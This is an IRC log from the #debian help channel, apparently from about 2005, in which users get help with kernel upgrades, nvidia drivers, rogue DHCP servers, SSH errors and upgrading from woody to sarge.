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| 15:36.36 | abrotman | cdc: loaded question |
| 15:36.41 | brynjarh | cdc: KDE is different then GNOME. |
| 15:36.46 | jim | cdc: no graphics, just console is better |
| 15:36.46 | stew | cdc: /msg dpkg better |
| 15:36.57 | Krisso | jim, so i use ipmasq and can allow the windows pc to go online through me too? |
| 15:37.03 | SlayerXP | cdc: yes, KDE is better, or gnome. |
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| 15:37.37 | Xenguy | cdc: try them and make up your own mind :-) |
| 15:37.39 | sml | screen is better =] |
| 15:37.48 | brullo | brynjarh, XFce is the best :-) |
| 15:37.52 | cdc | many ppl prefer Gnome than KDE why is it is it due to performance and some ppl say that GTK is better than QT |
| 15:38.01 | jim | Krisso: yes. at that point the windows box has to get its ip manually or by setting up dhcp server on laptop |
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| 15:38.02 | goron | I have a serious problem with my Debian Unstable + nvidia + xfree86 + self-compiled kernel setup. I don't know where nvidia TLS comes from (whether it's a Debian tool, or an nvidia one). Each time I boot, I need to recompile my nvidia kernelmodule, before I can start x. If I don't do that, I get a server caught signal 11. |
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| 15:38.14 | jim | (but the latter is overkill for this particular situation) |
| 15:38.31 | sml | is there a tool to easily locate DHCP servers on a network other than playing around with the dhcp client ? |
| 15:38.37 | abrotman | goron: /msg dpkg nvidia |
| 15:38.44 | Krisso | jim, ok the windows box is configured to do that.. how to configure ipmasq? |
| 15:38.54 | goron | abrotman: You said that last time too ;) |
| 15:38.58 | jim | just install it |
| 15:39.04 | BadMan | stew what kernel do you suggest brief hardware info: AMD k7 700, 512mbpc100 nvidia geforce mx4000 samsung cdrw/dvd play combo creative 52x cdrom cs4281 sound netgear fa310tx nic.. |
| 15:39.06 | abrotman | goron: /msg dpkg nvidia one liner ? |
| 15:39.14 | abrotman | :) |
| 15:39.19 | Krisso | jim, done. now? |
| 15:39.22 | goron | abrotman: yes |
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| 15:39.29 | cdc | i am using Sarge and i ve installed Kernel 2.6.8-2 using apt-get is that the latest or still can i update my kernel |
| 15:39.29 | abrotman | goron: did you try that ? |
| 15:39.33 | goron | abrotman: yes |
| 15:39.34 | jim | it might configure itself, depending on how you have the connection to the win box set up |
| 15:39.44 | Krisso | jim if not? |
| 15:39.49 | jim | try first. |
| 15:39.49 | abrotman | goron: then i'm at a loss .. i don't use nvidia .. did you try asking #nvidia ? |
| 15:40.01 | jim | let's not do ifs that are unnecessary. |
| 15:40.11 | goron | abrotman: I didn't new they had a channel for that. Unofficial? |
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| 15:40.23 | BadMan | stew? alive still? |
| 15:40.27 | stew | BadMan: the latest 2.4.18 for -k7, not smp |
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| 15:40.47 | BadMan | you suggested a real kernel assuming you meant 2.6..... |
| 15:41.38 | dubphil | anyone ? where can I find the perl module NET::SMTP ? I'm struggling with all the libnetxxx-yyyy-perl package :-( |
| 15:41.46 | BadMan | I guess first I should remove that line in lilo.conf for append.. |
| 15:41.56 | stew | BadMan: did you read /msg dpkg real kernel? |
| 15:41.58 | jim | dubphil: cpan |
| 15:42.05 | stew | BadMan: what line for append? |
| 15:42.07 | traz_ | anyone using debian/testing with php4-dbase module? i'm updating with dselect and it's telling me phpapi-20020918 is not available so php4-dbase will be removed. anyone know what's up? did dbase get included in the base pkg? |
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| 15:42.36 | dubphil | jim: there is no debian specific package ? |
| 15:42.39 | brullo | sml, nmap the gateway or DNS (typically)? |
| 15:43.18 | Krisso | jim, nothing is happening |
| 15:43.28 | Blknite | anyone tell me how i can diagnose sudden slow desktop response ? |
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| 15:43.50 | sml | brullo: I can set my computer up to try and obtain a dhcp lease and determine where the pesky thing is that way but i'd rather not use any dhcp related packages since i dont use dhcp. i just want to find this pesky server. |
| 15:43.51 | jim | Krisso: how are you connecting the win box? |
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| 15:44.11 | jim | dubphil: dunno |
| 15:44.24 | BadMan | stew i followed faq on cdburner to add append="hdd=ide-scsi" |
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| 15:44.41 | spamhog | <PROTECTED> |
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| 15:44.56 | stew | BadMan: did you install a new kernel yet? |
| 15:44.59 | BadMan | stew if I do as you suggest upgrade toa 2.6, I shouldnt need that corrrect? |
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| 15:45.10 | brullo | sml, that is what I mean...usually the dhcp server is on the same machine as your DNS or gateway server. And you can nmap those to figure out whatever you are looking for. |
| 15:45.15 | BadMan | stew no asked you what one you think i need I dont know hehe |
| 15:45.19 | stew | BadMan: when did i suggest that? twice i suggested that you install the latest 2.4.18 |
| 15:45.21 | jim | brb |
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| 15:45.36 | stew | BadMan: 2.6 kernel wont run on woody |
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| 15:45.44 | dubphil | <PROTECTED> |
| 15:45.48 | BadMan | hmmm.... I must have missed that then thought you said real kernel as ina 2.6.....? |
| 15:45.58 | BadMan | stew ok |
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| 15:46.07 | sml | brullo: Sorry let me be more clear. Its a client machine that SHOULDN@T be running as a dhcp server. Some braindead windows xp machine most probably. |
| 15:46.11 | stew | BadMan: you are not paying attention so, i'm going to stop wasting my time now, goodluck |
| 15:46.12 | jim | dubphil: dunno == don't know |
| 15:46.22 | sml | brullo: i know that for a fact since the backbone boxen are mine. |
| 15:46.35 | BadMan | stew gee thanks, I even told you this might need some hand holding.... |
| 15:46.45 | sml | brullo: I can easily find them one by one by sending fake dhcp requests but i wondered if there was a tool to automate this. |
| 15:46.54 | sml | brullo: I fear there may be many of 'em. |
| 15:46.55 | jim | dubphil: I also am not totally sure there is such a module on cpan,,, but your next action should be to search it |
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| 15:47.38 | brullo | sml, are you a exploiter? :-) |
| 15:47.57 | Krisso | jim, well we are connected through a standard cross lan cable |
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| 15:48.22 | ricky_clarkson | sml: Are you looking for a DHCP server? |
| 15:48.23 | sml | brullo: Dont worry about it. I'll just set my box up as a dhcp client and find them one by one. Time consuming but no choice really. No im not an exploiter. When you have #, you dont really have any incentive to exploit anything. |
| 15:48.28 | jim | if there is an official debian package of a module you are trying to install and you have it and it definitely needs another module, then the another module should also be in an official debian package |
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| 15:48.42 | ricky_clarkson | sml: Can't you tell by running etherdump and looking at MAC addresses? |
| 15:48.52 | sml | ricky_clarkson: yes mate :) some brain dead windows box is configured as a dhcp server.. its trying to assign static server addresses to clients and its causing me grief |
| 15:48.58 | sml | ricky_clarkson: is there a quick way to find them ? |
| 15:49.01 | jim | Krisso: how are the interfaces and routes configured? |
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| 15:49.07 | ricky_clarkson | sml: etherdump & pump ? |
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| 15:49.16 | sml | ricky_clarkson: I'll take a look.. |
| 15:49.19 | jim | pumpdump? |
| 15:49.27 | jim | sounds like a toilet flusher! |
| 15:49.49 | Krisso | jim, the windows box is configured as "obtain ip automatically" |
| 15:50.03 | jim | ok, how was it configured before? |
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| 15:50.21 | BadMan | anyone else feel like a little hand holding while I goto the suggested 2.4.18 kernel Im newb and leary of doing it... |
| 15:50.22 | Krisso | jim, i've got to run a dhcp server.. so it gets an ip and usese the internet conneczion |
| 15:50.26 | Krisso | thats the plan |
| 15:50.49 | sml | ricky_clarkson: once i've got the ip i then need to use smbclient to get the windows hostname. god i hate having windows hosts on my network! |
| 15:50.50 | zahoo | hi all |
| 15:50.52 | jim | you mean the win box should get an -external- ip? |
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| 15:51.22 | dubphil | jim: you are right no such modules on cpan thanks a lot ! |
| 15:51.32 | zahoo | i have a lproblem with my ssh |
| 15:51.34 | ricky_clarkson | sml: You should have DNS. |
| 15:51.40 | Krisso | jim, yeah. it should get an ip adress from my laptop which is connecetd to the internet wirelessly |
| 15:51.43 | sml | ricky_clarkson: I do. |
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| 15:51.58 | sml | ricky_clarkson: Some spanner has put an unauthorised machine on my lan |
| 15:51.58 | ricky_clarkson | sml: Can't you get the hostname from the IP then? |
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| 15:52.08 | sml | ricky_clarkson: nope coz its not meant to be on my lan and hence is not in the dns |
| 15:52.08 | zahoo | can anyone help me? |
| 15:52.13 | sml | ricky_clarkson: and i dont allow dynamic updates |
| 15:52.15 | ricky_clarkson | sml: Ah. Duh. |
| 15:52.18 | sml | ricky_clarkson: :( |
| 15:52.20 | jim | Krisso, was there ever a time when you had a static ip situation between the laptop and the win box, which allowed connections between the two? |
| 15:52.24 | cdc | i want to update my kernel version from 2.6.8-2 and i am using Debian Sarge . Is recompilation the only option left or is there an other option to install the latest kernel |
| 15:52.46 | Krisso | jim not yet |
| 15:52.51 | JoshH | cdc: you could install one from sid |
| 15:53.00 | dobby_ | hello when i create a file or a folder in my system i have always the rights rwx-r-r where can i change that, so that i have by default rwx-rw-r? |
| 15:53.09 | cdc | JoshH, how do i do that ? |
| 15:53.09 | drp | what's the tool to convert rpms to debs ... forgot the naem |
| 15:53.16 | sml | drp: alien ? |
| 15:53.16 | jim | Krisso, ok, so you have never successfully connected even just to the laptop from the win box? |
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| 15:53.18 | dobby_ | drp alien |
| 15:53.22 | drp | yeah |
| 15:53.27 | drp | thanks |
| 15:53.30 | JoshH | cdc: add unstable to your apt sources, apt-get update, then apt-get install -t unstable <kernel> |
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| 15:54.01 | stew | cdc: /msg dpkg quick sid/sarge mix |
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| 15:54.19 | cdc | JoshH, ok can you give me the link so that i can add it to my sources.list |
| 15:54.24 | Krisso | jim, ok.. the winbox has ip 192.168.0.1 now |
| 15:54.25 | zahoo | when i try to connect via ssh to any other machine and even to localhost, i got the error Host key verification failed. |
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| 15:54.29 | zahoo | i'm using sid |
| 15:54.37 | dobby_ | in which file are the default rights, when creating a new file? |
| 15:54.38 | solemnwarning | whats the command to stop x? |
| 15:54.42 | cdc | JoshH, whats the best way to install a kernel is it by compilation or is it by using apt-get |
| 15:54.43 | Hal9002 | hi there, i just installed sarge with desktop envirnoment, using gnome. unfortunatelly, sound doesn't work. i think gnome thinks my primary sound device is my webcam and just indicates a microphone in the mixer. how can i tell to use my audigy card? the emu10k1 module is loaded. |
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| 15:54.52 | jim | Krisso: and is it now successfully pinging the laptop? |
| 15:54.52 | cdc | which one is a better way |
| 15:54.53 | brullo | sml, have you checked the package ntop? installs in a second and shows great info even for large networks |
| 15:54.55 | JoshH | cdc: unless you have experience compiling them, then by apt-get |
| 15:54.59 | sml | solemnwarning: ctrl-alt-backspace will kill it if you cant logout ;) |
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| 15:55.33 | solemnwarning | it restarts it :( |
| 15:55.33 | sml | solemnwarning: you're running a display manageer? |
| 15:55.33 | solemnwarning | i need to install nvidia drivers |
| 15:55.33 | [Granger] | DeLta == onjoins |
| 15:55.33 | solemnwarning | xorg |
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| 15:55.43 | sml | solemnwarning: You running xdm, gdm ? |
| 15:55.54 | solemnwarning | what are xdm and gdm? |
| 15:55.59 | sml | solemnwarning: from a terminal execute the runlevel script to stop the service. |
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| 15:56.10 | solemnwarning | runlevel script? |
| 15:56.12 | solemnwarning | command? |
| 15:56.18 | sml | solemnwarning: /etc/init.d/xdm stop |
| 15:56.22 | solemnwarning | k |
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| 15:56.35 | jim | !ops DeLta spam |
| 15:56.36 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: DeLta spam |
| 15:56.53 | jim | bye DeLta |
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| 15:57.20 | solemnwarning | no such file or dir <_< |
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| 15:57.48 | jim | Krisso: how did it get that ip? |
| 15:57.55 | zahoo | so can anyone help me with ssh?? |
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| 15:58.49 | jim | Krisso: remember I can't see your screen, so if you do something, you have to be very specific and complete about what you did... otherwise I'm stuck wondering what you did |
| 15:59.15 | brullo | zahoo, /msg dpkg sicco |
| 15:59.31 | jim | people like my acronym :) |
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| 16:00.12 | petemc | zahoo: /msg dpkg debug sshd |
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| 16:01.10 | zahoo | tahnks brullo and pete |
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| 16:02.12 | Snowdog | I have an interesting problem |
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| 16:02.23 | _Xavi_ | see a doctor ;) |
| 16:02.32 | Snowdog | The Mac address on a new machine I have isn't programmed. |
| 16:02.39 | cdc | could anyone give me the SID repository to install the kernel in Sarge |
| 16:02.49 | little | hi, when i try to install debian woody with bf24, it runs first smoothly, but then the screen looks absorbed? in another board with the same graphic-chip it works well |
| 16:03.08 | Snowdog | I put in some random numbers, but I know the first 8 are supposed to be a certain set of numbers |
| 16:03.15 | Snowdog | Anybody know where I can get those? |
| 16:03.17 | raf256 | ciao a tutti! |
| 16:03.36 | brullo | Snowdog, Are you a hardcore MAC spoofer? :-) |
| 16:03.43 | Snowdog | hehe, no |
| 16:04.00 | Snowdog | But eventually the cisco upstream is going to think it spoofed |
| 16:04.04 | _Xavi_ | Snowdog: isnt that supposed to be assigned by your NICs firmware? |
| 16:04.08 | little | if i try to install it without bf24, the first lines are also absorbed |
| 16:04.15 | raf256 | Snowdog: first digits are the number of producent, AFAIK |
| 16:04.26 | Snowdog | yeah, its supposed to be set, but it want. |
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| 16:04.47 | Snowdog | I've run into this before, once before exactly in the 13 years in the biz |
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| 16:06.06 | cdc | how do i install Kernel 2.6.8-10 in Debian Sarge ? |
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| 16:06.37 | jim | cdc: -10? |
| 16:06.49 | jim | what's that? |
| 16:06.50 | cdc | yes |
| 16:06.58 | dkg0 | cdc: you can fetch the deb from the unstable repository by http, and then dpkg --install filename |
| 16:07.00 | BadMan | what kernel should I use for k7 700 2.4.18-13.1 or 2.4.18-5 with woody? |
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| 16:07.04 | Snowdog | dangit |
| 16:07.06 | asg | cdc: apt-get install kernel-image ; pick the one that suits you and install it. |
| 16:07.13 | BadMan | whats the major differences here? |
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| 16:07.21 | Snowdog | #debian keeps crashing ircII when I hit tab for nick completion |
| 16:07.22 | dkg0 | asg: 2.6.8-10 isn't in sarge just yet. |
| 16:07.35 | dkg0 | (maybe it won't ever be...) |
| 16:07.39 | cdc | asg, in Sarge i ve installed 2.6.8-2 but i want 2.6.8-10 which is not in Sarge |
| 16:08.03 | Phated | What major difference is there from -2 to -10 that could possibly be so vital? |
| 16:08.04 | cdc | i need to add the Sid repository links to my Sources.list |
| 16:08.05 | dkg0 | ah. sorry, i misinterpreted. |
| 16:08.13 | data__ | Hi. How can I insert a fake install of an app? I compiled it manually, and just want other programs, which depend on it, to install without requiring this dependency |
| 16:08.14 | cdc | is that good ? |
| 16:08.14 | dkg0 | do you want 2.6.8-10 |
| 16:08.19 | jim | Phated: bugs, security things |
| 16:08.20 | dkg0 | or 2.6.10? |
| 16:08.26 | cdc | yes i want 2.6.8-10 |
| 16:08.28 | asg | cdc: /msg dpkg sdn (get it from there.) |
| 16:08.30 | jim | oh, good question |
| 16:08.33 | Phated | jim: He might as well ask for 2.6.11, eh. |
| 16:09.07 | jim | Krisso, umm, are you still here? you're not responding |
| 16:09.09 | cdc | <PROTECTED> |
| 16:09.20 | cdc | could anyone provide me the links of SID for that? |
| 16:09.29 | dkg0 | version 2.6.8-13 of kernel-source-2.6.8 was used to build the latest version of kernel-image-2.6.8-2... |
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| 16:09.35 | asg | !tell root_____ about root |
| 16:09.41 | jim | Phated: or maybe he wants a random kernel between 2.6.8 and 2.6.10! |
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| 16:09.52 | dkg0 | you can read baout it in /usr/share/doc/kernel-image-2.6.8-2-*/changelog.Debian.gz |
| 16:09.55 | jim | I think it's that! |
| 16:09.57 | Phated | Aww, gee, isn't that cute. Well, you can deal with it. |
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| 16:10.06 | asg | cdc: http://snapshot.debian.net/archive/2004/11/26/debian/pool/main/k/kernel-image-2.6.8-i386/ (for i386 debs) |
| 16:10.34 | cdc | asg, hey thanks i need to add that in my sources.list right? |
| 16:10.39 | Phated | Yeah, and please, don't add a source, you get mixed sources, you mess up something else, it gets very ugly. |
| 16:10.41 | jim | oh that's right, you were abusive before |
| 16:10.50 | asg | cdc: no, download the deb and install it (provided that it will install which it might not.) |
| 16:10.59 | jim | I almost forgot about that |
| 16:11.04 | Phated | Who, me? |
| 16:11.20 | stew | cdc: are you looking for an amd64 kernel? |
| 16:11.21 | jim | yes you. you told me to fuck off |
| 16:11.34 | dkg0 | cdc and asg: i'm not sure you need to do that. |
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| 16:11.41 | Phated | Hmmm. I suppose I might have. Oh well. |
| 16:11.49 | cdc | stew, no 686 kernel for Celeron 1.7Ghz |
| 16:11.58 | dkg0 | cdc: what exactly do you mean by 2.6.8-10? are you referring to the version of the kernel-source package? |
| 16:12.01 | stew | cdc: there is no -10 kernel for 686 afaik |
| 16:12.05 | asg | dkg0: agreed, we still don't know if he wants the source or the package |
| 16:12.34 | BadMan | bah I dont understand the kernel offerings in apt-get 31.1 and 5 both say they are for k7 where can I find some info ont his? |
| 16:12.40 | stew | cdc: no there isn't,only for amd64 |
| 16:12.40 | BadMan | er 13.1 |
| 16:12.57 | cdc | stew, i am sorry if i have made a mistake in the version number i want one which is quite new |
| 16:13.21 | cdc | stew, i am ready to learn how to compile the kernel but how do i do that ? |
| 16:13.30 | stew | cdc: /msg dpkg kp |
| 16:13.33 | cdc | stew, is it an easy process |
| 16:13.39 | stew | cdc: with kp it is |
| 16:13.48 | cdc | what is kp |
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| 16:13.55 | stew | cdc: why would you want to compile your own/ |
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| 16:14.11 | dkg0 | cdc: i agree with stew; i don't think you need to compile your own kernel. |
| 16:14.19 | cdc | stew, whats the alternative then |
| 16:14.29 | dkg0 | the question is: what are you looking for? |
| 16:14.35 | stew | cdc: why do you require something newer than 2.6.8-2? |
| 16:14.38 | greycat | !smite nvidia and Dell |
| 16:14.39 | dkg0 | are you looking for the most recent kernel entirely? |
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| 16:14.57 | dkg0 | kernel.org show the latest kernel as 2.6.11 |
| 16:15.12 | cdc | dkg0, yes i would like to install that |
| 16:15.27 | cdc | i want to learn that process but worried whether that would break my system |
| 16:15.29 | cdc | :-( |
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| 16:15.44 | greycat | Given a Dell Inspiron 8600 with an nvidia GeForce 5200 Go chipset in it, how *DO* you get it to display to an external monitor under Linux? Pressing Fn-F8 to toggle LCD/CRT makes the entire operating system freeze completely, dead as a rock. |
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| 16:16.14 | dkg0 | i think the latest version of the kernel that has been cleanly packaged for sid is 2.6.10 |
| 16:16.21 | greycat | Tried it in console mode, tried it in X with nv, tried it in X with nvidia, tried it in X with nvidia with 16-bit color, *nothing* works. Except Windows XP. |
| 16:16.31 | dkg0 | you can grab a copy of that directly from the repository and try to install it with dpkg. |
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| 16:16.53 | jim | greycat: I wonder if that's hitting an irq that makes it crash... had an old old dell that did that |
| 16:16.59 | cdc | dkg0, are there chances of that breaking the system set up? |
| 16:17.02 | abrotman | what .. no more spammers? |
| 16:17.17 | dkg0 | is your system a standard sarge install? |
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| 16:17.30 | Zahoo | when i debug sshd i get "kex: client->server aes128-cbc hmac-md5 none" is this normal??? |
| 16:17.35 | BadMan | greycat I had to get 6629 from nvidia and use it with dpkg-reconfigure xserver-xfree86 to get my geforce mx4000 up selecting noframebuffer and nvidia driver |
| 16:17.44 | stew | cdc: any time you install stuff from sid/unstable you should consider that its possible to fuck up your system |
| 16:17.49 | jim | nope, no spammers yet |
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| 16:18.07 | cdc | dkg0, i ve upgraded my KDE to KDE 3.3.2, kernel to 2.6.8-2 |
| 16:18.18 | cdc | stew, is it i didnt know that |
| 16:18.24 | dkg0 | cdc: those are all in sarge already, right? |
| 16:18.38 | dkg0 | so why would you need to move to a more recent kernel? |
| 16:18.58 | miib | Hi. When I run aspell i get the following error: "aspell: Symbol `_ZTVN7acommon6StringE' has different size in shared object, consider re-linking" followed by "aspell: relocation error: aspell: undefined symbol: _ZN7acommon6Config17possible_elementsEb" .. Any ideas on how I can fix aspell (running unstable) |
| 16:19.03 | dkg0 | the kernels in sarge are incorporating a lot of good bugfixes, and are being fairly well-maintained. |
| 16:19.30 | greycat | BadMan: so yours locks up if you press Fn-F8 in console mode, but works if you press Fn-F8 in X? |
| 16:19.36 | cdc | i am sorry i dont have an answer for that but just wanted to learn that process . Infact wanted to learn that on the other day when i installed 2.6.8-2 but everyone here adviced me to install it using apt-get and i did and its working perfectly |
| 16:19.50 | Jimmymaniac | Hi. Quick question: has anybody here succesfully used the cups-pdf package? just installed it, tried to add it, but it does nothing. I suspect that i'm using the wrong URI (gave it "pdf://" since it accepted it), but i'm not sure |
| 16:19.51 | dkg0 | cdc: it's good to want to learn how to build a kernel too. |
| 16:20.30 | brullo | Jimmymaniac, You want to print pdf with cups? |
| 16:20.32 | dkg0 | cdc: if that's your goal specifically, you should apt-get install kernel-package (and most or all of its recommended dependencies)... |
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| 16:20.51 | dkg0 | cdc: and apt-get install kernel-source-2.6.8... |
| 16:21.01 | jim | the recommends don't come in, do they? |
| 16:21.13 | cdc | dkg0, and then compile it is it? |
| 16:21.19 | dkg0 | cdc: and then as a non-privileged user, unpack the kernel source somewhere, and use make-kpkg to build a new deb. |
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| 16:21.36 | dkg0 | that "the debian way". i'll go dig up a URL for it... |
| 16:21.39 | Jimmymaniac | brullo: yep, and seeing as there was an apt-get-able cups-pdf package i installed it, but doesn't seem to do anything, or maybe i'm missing the obvious |
| 16:22.13 | caphuso | Jimmymaniac: did you read the stuff in /usr/share/doc/cups-pdf/? |
| 16:22.15 | brullo | Jimmymaniac, /msg dpkg cups setup .. worked perfect for me (testing) |
| 16:22.20 | stew | cdc: dkg0; /msg dpkg kp |
| 16:23.21 | Jimmymaniac | caphuso: yeah, the upstream README mentions writing to /var/spool/cups-pdf and the README.Debian mentions $HOME/cups-pdf, nothing in either place |
| 16:23.34 | dkg0 | stew: thanks. is dpkg a bot that responds like that? (i'm new to #debian) |
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| 16:23.58 | cdc | stew, yes whats dpkg |
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| 16:24.10 | caphuso | Jimmymaniac: did you tell cups to run as root? |
| 16:24.35 | cdc | dpkg, is a bot is it? |
| 16:24.37 | dkg0 | cdc: he means to type the command "/msg dpkg kp" into your irc client. a bot named "dpkg" will respond to you with some information. |
| 16:24.46 | cdc | dkg0, got it |
| 16:24.47 | cdc | :-) |
| 16:25.28 | BadMan | would somebody please explain something about these kernels to me... i have 2.4.18-bf2.4 , I seen that there is a 2.4.18-1-k7 and a 2.4.18-k7 in kpackage |
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| 16:25.39 | andreas_ | Good afternoon. |
| 16:26.37 | dkg0 | BadMan: those are slightly different versions of kernel 2.4.18. bf2.4 is targeted towards generic machines (it's for boot floppies)... |
| 16:26.48 | greycat | BadMan: the bf2.4 kernel is compiled for i386, -k7 is compiled for a K7 |
| 16:26.54 | drac | BadMan: In what kind of machine are you running Woody and for what purpose? Desktop, server, commerical server? |
| 16:26.56 | brynjarh | HTML is a markup language, CSS is a ?? |
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| 16:27.06 | greycat | brynjarh: a TLA. |
| 16:27.16 | andreas_ | Could one of you guys please help me install the new beta version of openoffice on my Hoary. Apt-get seems to be fetching a wrong package. |
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| 16:27.24 | dkg0 | BadMan: and -1-k7 incorporates some additional patches from the debian team. |
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| 16:27.35 | igraltist | Cascading Style Sheet |
| 16:27.53 | BadMan | drac Desktop |
| 16:27.56 | Phated | andreas_: #ubuntu. |
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| 16:28.09 | brullo | brynjarh, Are you actually doing a ECDL onlinetest right now? :-) |
| 16:28.13 | dkg0 | if you've got a machine with a k7 processor, you should go with 2.4.18-1-k7 |
| 16:28.17 | drac | BadMan: You most likely want upgrade to sarge then, and newer kernel than 2.4.18 |
| 16:28.37 | andreas_ | phated Should I just join that server? Sorry about this but I`ve never been here before |
| 16:28.49 | Phated | andreas_: It's a channel. |
| 16:28.50 | dkg0 | BadMan: i agree with drac about moving to sarge. woody will leave you extremely frustrated on a desktop system. |
| 16:29.04 | RichiH | agreed |
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| 16:29.05 | andreas_ | Phated On this server? |
| 16:29.14 | RichiH | andreas_: yes |
| 16:29.17 | Phated | andreas_: Yes. |
| 16:29.23 | BadMan | I will try once I am able to burn cds/images withtmy burner.... |
| 16:29.24 | andreas_ | Thanks guys! |
| 16:29.33 | Phated | Bother, does Ubuntu's IRC client direct them here, then? |
| 16:29.39 | RichiH | Phated: hoary is a version of ubuntu? |
| 16:29.41 | BadMan | but for now I would liek to get these things setup... |
| 16:29.49 | RichiH | Phated: let's ask bob2 :) |
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| 16:29.56 | BadMan | guess I go install -1-k7 |
| 16:29.56 | Phated | RichiH: Hoary Hedgehog or something. |
| 16:30.02 | Empty | BadMan, you don't need a burner, you can upgrade in place |
| 16:30.03 | dkg0 | BadMan, you can move to sarge by modifying /etc/apt/sources.list (change all instances of woody to sarge) and do apt-get dist-upgrade |
| 16:30.03 | RichiH | Phated: ah that, yes |
| 16:30.10 | Phated | RichiH: Their next is like... Bandy Badger, I believe. |
| 16:30.23 | Phated | (Haven't stopped snickering over that one yet.) |
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| 16:30.43 | brynjarh | brullo: no.. :) |
| 16:30.44 | RichiH | andreas_: did you join this channel manually or were you brought here by your irc client? |
| 16:30.45 | Empty | Phated, I guess that's better than Randy Badger |
| 16:30.46 | BadMan | dkg0 ok |
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| 16:31.10 | Phated | Empty: I suspect they're reserving it for Randy Rabbit. They have a thing with alliteration. |
| 16:31.19 | RichiH | d1227m: are you from england? |
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| 16:31.25 | d1227m | :) |
| 16:31.35 | d1227m | you now it RichiH |
| 16:31.39 | d1227m | *know |
| 16:31.42 | andreas_ | RichiH I came here manually because I figuered that since Ubuntu is based on Debian it would be a proper place to ask |
| 16:31.43 | brynjarh | brullo: trying to find out what to call sertain technologies |
| 16:31.52 | ricky_clarkson | d1227m: which part? |
| 16:31.53 | RichiH | d1227m: just checking. your nick is weird,t hat way |
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| 16:32.10 | Empty | andreas_, watch a movie "based on" a book some time, then read the book... |
| 16:32.19 | d1227m | RichiH, *ssshh* im signed on twice |
| 16:32.20 | RichiH | andreas_: ah, ok. common misconception which can get a few people heated ;) |
| 16:32.23 | dkg0 | andreas_, the topic sez: ..."f you are using Ubuntu, go to #ubuntu" |
| 16:32.26 | RichiH | d1227m: *gasp* |
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| 16:32.46 | RichiH | dkg0: whoah, they even added that to the topic? heh |
| 16:32.52 | e2e | Hi, i've a problem with my cd-rw (or cdrecord), I've wrote a few .iso but couldn't boot my computer any of them. It load cdrom and gets "boot" screen, as soos as boot screen appears it restarts my computer, and then again and again same thing happens. I've tried this cd's another computers and nothing changed |
| 16:32.57 | RichiH | ubuntu is the new knoppix, so to speak ;) |
| 16:33.03 | andreas_ | Anyway... I`ve found the other channel now. |
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| 16:33.32 | dkg0 | andreas_, hope things go well! |
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| 16:33.42 | andreas_ | Allthough nobody seems to be alive inthere though... Wonder if all Ubuntus just crashed... Hehe! |
| 16:33.49 | leandro | Alguma brasileira ai? |
| 16:33.50 | BadMan | dkg0 the only things in my apt for woody are the cdroms I had it catalog during install along with security updates some none free etc.... |
| 16:33.52 | RichiH | andreas_: yah, no biggie. as long as people are friendly about it and don't go into advocacy mode Why #Debian Should Support Their Distro, all is well :) |
| 16:34.00 | leandro | OI |
| 16:34.14 | RichiH | andreas_: probably while trying to install OOo2 ;) |
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| 16:34.31 | RichiH | andreas_: we even have this handy factoid here: |
| 16:34.34 | RichiH | !based on |
| 16:34.41 | RichiH | hmm, or not :p |
| 16:34.47 | Phated | !based on Debian |
| 16:34.47 | dpkg | Knoppix, Libranet, Corel/Xandros, Stormix, Progeny, Lindows, DamnSmallLinux, Ubuntu, Kurumin, Agnula, Xebian, and so on are *not* Debian. Just because something's "based on" Debian doesn't mean we can support it. You'll get a Debian answer, and if it doesn't work, you're out of luck. |
| 16:34.53 | andreas_ | RiciH Well.. That could take a while if they`re as new to linux as i am |
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| 16:35.19 | BadMan | dkg0 if I change all of those cdroms from woody to sarge will taht do what I need or is there something else I need to get it to dist-upgrade? |
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| 16:35.30 | RichiH | andreas_: everyone started at some point :) |
| 16:35.38 | dkg0 | BadMan, you should modify /etc/apt/sources.list to have these lines: |
| 16:35.40 | tuxyRochefort | hi. thanks for all the help you give here |
| 16:35.49 | dkg0 | deb http://ftp.us.debian.org/debian/ sarge main non-free contrib |
| 16:35.49 | dkg0 | deb-src http://ftp.us.debian.org/debian/ sarge main non-free contrib |
| 16:35.49 | dkg0 | deb http://security.debian.org/ sarge/updates main contrib non-free |
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| 16:36.03 | BadMan | ok |
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| 16:36.10 | dkg0 | (you can comment out the CD-ROM lines with a # mark) |
| 16:36.11 | Andreasn_sp | boa tarde |
| 16:36.18 | dkg0 | then apt-get update |
| 16:36.22 | leandro | boa tarde |
| 16:36.24 | dkg0 | followed by apt-get dist-upgrade |
| 16:36.28 | andreas_ | richiH Just a quick one without reference to Ubuntu... Have you guys still got the same lame splash screen in the beta version? |
| 16:36.30 | leandro | não sei meche com isso |
| 16:36.32 | dkg0 | it will be a big download, though. |
| 16:36.45 | Andreasn_sp | leandro sera que pode me dar uma ajuda? |
| 16:36.50 | dkg0 | you should make sure yer not stuck behind a dialup connection or something. |
| 16:37.01 | leandro | Diga |
| 16:37.04 | drac | BadMan: after that you'll have kernel-image-2.4.27-2-k7 available, or kernel-image-2.6.8-2-k7. |
| 16:37.08 | khorne | I have a question. I just switched to Debian Sarge from winXP, and since switching, I have been unable to get on certain websites (hotmail, www.battle.net, the firefix extensions page...etc). |
| 16:37.15 | RichiH | andreas_: what splash screen are you referring to? |
| 16:37.16 | leandro | mas oçlha eu naum sei mecher com o xchat não |
| 16:37.28 | Andreasn_sp | como posso instalar o j2re no kurumin 4 |
| 16:37.29 | leandro | é a primeira vez que entro nisso |
| 16:37.31 | brullo | khorne, mozilla-firefox? |
| 16:37.33 | andreas_ | RichieH The one in openoffice.org2 |
| 16:37.37 | Andreasn_sp | eu tambem |
| 16:37.39 | khorne | Is there any reason for this and, most importantly, anything that can be done to fix it? |
| 16:37.40 | BadMan | dkg0 ok mine say "main" I assume I swap them to sarge and all is well after apt-get dist-upgrade |
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| 16:37.43 | khorne | Tthat's the one. |
| 16:37.45 | leandro | Infelizmente eu não sei |
| 16:37.48 | RichiH | andreas_: and imho, noone should install stable these days but go to sarge directly |
| 16:38.01 | PerfDave | khorne: Hotmail works fine for me in Firefox |
| 16:38.02 | RichiH | andreas_: dunno, i did not try OOo2 yet |
| 16:38.05 | khorne | brullo: Yes, Mozilla-Firefox |
| 16:38.06 | leandro | olha eu nem sei como consegui entrar nisso |
| 16:38.12 | PerfDave | RichiH, andreas_: Unless they want security updates. |
| 16:38.21 | dkg0 | BadMan, no, leave main alone. anything which says "woody" should be changed to "sarge", but leave main, non-free, contrib, etc. as they are. |
| 16:38.22 | Andreasn_sp | sabe se tem algum grupo que fale o protugues no x-chat? |
